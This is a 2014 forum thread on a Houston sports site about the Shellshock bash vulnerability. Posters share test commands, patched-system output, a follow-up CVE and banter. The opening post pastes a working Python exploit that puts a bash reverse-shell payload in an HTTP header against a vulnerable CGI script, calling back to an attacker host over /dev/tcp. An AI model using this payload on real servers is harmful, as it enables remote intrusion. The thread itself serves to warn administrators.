1. Welcome! Please take a few seconds to create your free account to post threads, make some friends, remove a few ads while surfing and much more. ClutchFans has been bringing fans together to talk Houston Sports since 1996. Join us!

  2. ROCKETS GAMEDAY
    Ben is back as we talk Rockets after the Lakers game rematch Wednesday night. Come join us!

    LIVE! ClutchFans on YouTube

[LINUX] New 'shellshock' bash remote execution vulnerability

Discussion in 'BBS Hangout' started by SwoLy-D, Sep 26, 2014.

  1. SwoLy-D

    SwoLy-D Member

    Joined:
    Jul 20, 2001
    Messages:
    37,619
    Likes Received:
    1,460
    For those of you, like me, who work in Linux systems and who are users or admins of those machines... this will be of interest:

    bash remote execution vulnerability

    MORE at the link.

    Code:
    env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    Here's a reverse shell from:
    <blockquote class="twitter-tweet" lang="en"><p>That bash bug is bad ( <a href="https://t.co/60kPlziiVv">https://t.co/60kPlziiVv</a> ) Get a reverse shell on a vulnerable website <a href="http://t.co/7JDCvZVU3S">http://t.co/7JDCvZVU3S</a> by <a href="https://twitter.com/ortegaalfredo">@ortegaalfredo</a></p>&mdash; Chris Williams (@diodesign) <a href="https://twitter.com/diodesign/status/514865664499015680">September 24, 2014</a></blockquote>
    <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>

    Code:
    #
    #CVE-2014-6271 cgi-bin reverse shell
    #
    
    import httplib,urllib,sys
    
    if (len(sys.argv)<4):
    	print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    	exit(0)
    
    conn = httplib.HTTPConnection(sys.argv[1])
    reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
    
    headers = {"Content-type": "application/x-www-form-urlencoded",
    	"test":reverse_shell }
    conn.request("GET",sys.argv[2],headers=headers)
    res = conn.getresponse()
    print res.status, res.reason
    data = res.read()
    print data

    :( Hope your systems are all OK, sys admins.
     
  2. bobrek

    bobrek Politics belong in the D & D

    Joined:
    Sep 16, 1999
    Messages:
    36,288
    Likes Received:
    26,648
    And, the original fix for CVE-2014-6271 was incomplete. CVE-2014-7169 was issued.
     
  3. The Captain

    The Captain Member

    Joined:
    Jun 18, 2003
    Messages:
    39,176
    Likes Received:
    38,778
    This will be the bug that shuts up the OSx/Unix/Linux is safe from viruseses! crowd. Nothing is safe from malware.
     
  4. SwoLy-D

    SwoLy-D Member

    Joined:
    Jul 20, 2001
    Messages:
    37,619
    Likes Received:
    1,460
    Ummm... this has always been there.

    This bug isn't a virus. :eek: Technically, still safe from viruses. :cool:
     
  5. The Captain

    The Captain Member

    Joined:
    Jun 18, 2003
    Messages:
    39,176
    Likes Received:
    38,778
    Whatever, fanboy.
     
  6. SwoLy-D

    SwoLy-D Member

    Joined:
    Jul 20, 2001
    Messages:
    37,619
    Likes Received:
    1,460
    I'm not a fanboy. I use all. I manage all types of Web servers. I'm just not the main server admin.

    Be versatile in your skills, man. :p
     
  7. GimmeDaRock

    GimmeDaRock Member

    Joined:
    Mar 7, 1999
    Messages:
    166
    Likes Received:
    171
    [root@gateway ~]# env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    /bin/sh: warning: X: ignoring function definition attempt
    /bin/sh: error importing function definition for `X'
    completed
    [root@gateway ~]# ls -la /bin/sh
    lrwxrwxrwx 1 root root 4 Sep 26 05:35 /bin/sh -> bash
    [root@gateway ~]# env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    /bin/bash: warning: X: ignoring function definition attempt
    /bin/bash: error importing function definition for `X'
    completed
     
  8. Mr. Brightside

    Joined:
    Mar 27, 2005
    Messages:
    18,965
    Likes Received:
    2,148
    Hey Swoly. I know English isn't your first language, but I have no idea what any of this means.
     
  9. SwoLy-D

    SwoLy-D Member

    Joined:
    Jul 20, 2001
    Messages:
    37,619
    Likes Received:
    1,460
    *Good for you, man. GOOD FOR YOU. :)

    *I mean that you don't have to deal with all this iSht.
     
  10. The Captain

    The Captain Member

    Joined:
    Jun 18, 2003
    Messages:
    39,176
    Likes Received:
    38,778
    I am.

    Be versatile in your sense of humor, hombre.
     

Share This Page